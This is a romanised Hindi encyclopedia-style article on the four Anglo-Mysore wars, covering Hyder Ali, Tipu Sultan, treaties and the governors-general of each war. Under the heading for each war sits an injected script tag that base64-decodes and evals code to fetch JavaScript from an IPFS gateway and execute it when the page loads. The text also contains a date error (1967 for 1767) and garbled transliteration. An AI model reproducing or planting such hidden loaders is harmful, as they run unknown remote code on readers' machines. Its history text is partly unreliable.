मैसूर युद्ध
[[chitr:Hyder-Ali.jpg|thumb|haidar ali
Hyder Ali]]
1761 ee. mean haidar ali ne maisoor mean hindoo shasak ke oopar niyantran sthapit kar liya. nirakshar hone ke bad bhi haidar ki sainik evan rajanitik yogyata advitiy thi. usake fraansisiyoan se achchhe sambandh the. haidar ali ki yogyata, kootanitik soojhaboojh evan sainik kushalata se marathe, nizam evan aangrez eershya karate the. haidar ali ne aangrezoan se bhi sahayog maanga tha, parantu aangrez isake lie taiyar nahian hue, kyoanki isase unaki rajanitik mahatvakaanksha poori n ho pati. bharat mean aangrezoan aur maisoor ke shasakoan ke bich char sainy muthabhe d huee thian. aangrezoan aur haidar ali tatha usake putr tipoo sultan ke bich samay-samay par yuddh hue. 32 varshoan (1767 se 1799 ee.) ke madhy mean ye yuddh chhe de ge the.
yuddh
bharat ke itihas mean char maisoor yuddh l de gaye haian, jo is prakar se haian-
- pratham yuddh (1767 - 1769 ee.)
- dvitiy yuddh (1780 - 1784 ee.)
- tritiy yuddh (1790 - 1792 ee.)
- chaturth yuddh (1799 ee.)
pratham yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
aprail, 1967 mean nizam, maratha aur aangrezoan ki sena ne milakar haidar ali par akraman kiya, parantu kuchh samay bad hi nizam haidar ali ki or a gaya. ab yah yuddh aangrezoan aur haidar ali ke madhy l da gaya. aangrezoan ki prarambhik saphalata ke karan nizam punah aangrezoan ki or chala gaya. haidar ali ne utsahapoorvak l date hue march, 1768 mean mangalaur aur bambee par punah adhikar kar liya. march, 1769 ee. mean usaki senayean madras tak ja pahuanchi. aangrezoan ne vivashata mean haidar ali ki shartoan par 4 aprail, 1769 ko madras ki sandhi ki.
dvitiy yuddh
[[chitr:Tipu-Sultan.jpg|tipoo sultan
Tipu Sultan|thumb]]
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
aangrezoan ne 1769 ee. ki sandhi ki shartoan ke anusar acharan n kiya aur 1770 ee. mean haidar ali ko, samajhaute ke anusar us samay sahayata n di jab marathoan ne us par akraman kiya. aangrezoan ke is vishvasaghat se haidar-ali ko atyadhik kshobh hua tha. usaka krodh us samay aur bhi badh gaya, jab aangrezoan ne haidar-ali ki rajy simaoan ke aantargat mahi ki phraansisi basti par akraman kar adhikar kar liya. usane maratha aur nizam ke sath 1780 ee. mean tripakshiy sandhi kar li jisase dvitiy maisoor-yuddh praranbh hua.
tritiy yuddh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tisara yuddh 1790 ee. mean shuroo hua tha. jab garvanar-janaral l aaurd k aaurnav aaulis ne tipoo ka nam kanpani ke mitroan ki soochi se hata diya tha. tritiy maisoor yuddh ka karan bhi aangrezoan ki dohari niti thi. 1769 ee. mean haidar-ali aur 1784 ee. mean tipoo sultan ke sath ki gayi sandhi ki shartoan ke viruddh aangrezoan ne 1788 ee. mean nizam ko is ashay ka patr likha ki ham log tipoo sultan se un bhoobhagoan ko chhin lene mean apaki sahayata kareange jo nizam ke rajy ke aang rahe hai. aangrezoan ki is vishvasaghati niti ko dekhakar tipoo sultan ke man mean unake shatrutapoorn abhipray ke sanbandh mean koee sanshay n raha. at: 1789 ee. mean achanak travanakor (trivankur) par akraman kar diya, aur us bhoo-bhag ko tahas-nahas kar dala .
chaturth yuddh
| yuddh | samay | garvanar-janaral |
|---|---|---|
| pratham maisoor yuddh | 1767 - 1769 ee. | l aaurd verelst |
| dvitiy maisoor yuddh | 1780 - 1784 ee. | l aaurd varen hestiangs |
| tritiy maisoor yuddh | 1790 - 1792 ee. | l aaurd k aaurnav aaulis |
| chaturth maisoor yuddh | 1799 ee. | l aaurd velejali |
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
chautha yuddh garvanar-janaral l aaurd m aaurniangtan (bad mean velezali) ne is bahane se shuroo kiya ki tipoo ko fraansisiyoan se sahayata mil rahi hai. alpakalik, parantu bhayanak siddh hua. isaka karan tipoo sultan dvara aangrezoan ke ashrit ban jane ke sandhi prastav ko asvikar kar dena tha, tatkalin gavarnar- janaral l aaurd velezali ko tipoo ki british- virodhi gatividhiyoan ka poorn vishvas ho gaya tha. use pata chala ki 1792 ee. ki parajay ke uparaant tipoo ne fraans, kustunatuniya aur afaganistan ke shasakoan ke sath is abhripray se sandhi ka prayas kiya tha ki bharat se aangrezoan ko nikal diya jay.
tipoo ki asaphalata ke karan
tipoo sultan ki asaphalata ke nimn mahattvapoorn karan the-
- fraansisi mitrata aur deshi rajyoan ko milakar sanyukt morcha banane ke kary mean tipoo asaphal raha.
- isake alava vah apane pita haidar ali ki bhaanti kootanitijn bhi nahian tha.
tipoo sultan niahsandeh ek kushal prashasak evan yogy senapati tha. usane 'adhunik kailendar' ki shuruat ki or sikka dhulaee tatha nap-top ki nee pranali ka prayog kiya. usane apani rajadhani shrirangapattam mean 'svatantrata ka vriksh' lagavaya aur sath hi 'jaikobin klab' ka sadasy bhi bana. usane apane ko nagarik tipoo pukara. 'tamas munaro' ne tipoo sultan ke barean mean likha hai ki, "navinata ki avibhraant bhavana tatha pratyek vastu ke svayan hi prasoot hone ki raksha usake charitr ki mukhy visheshata thian".
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sanbandhit lekh
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varnamala kramanusar lekh khoj
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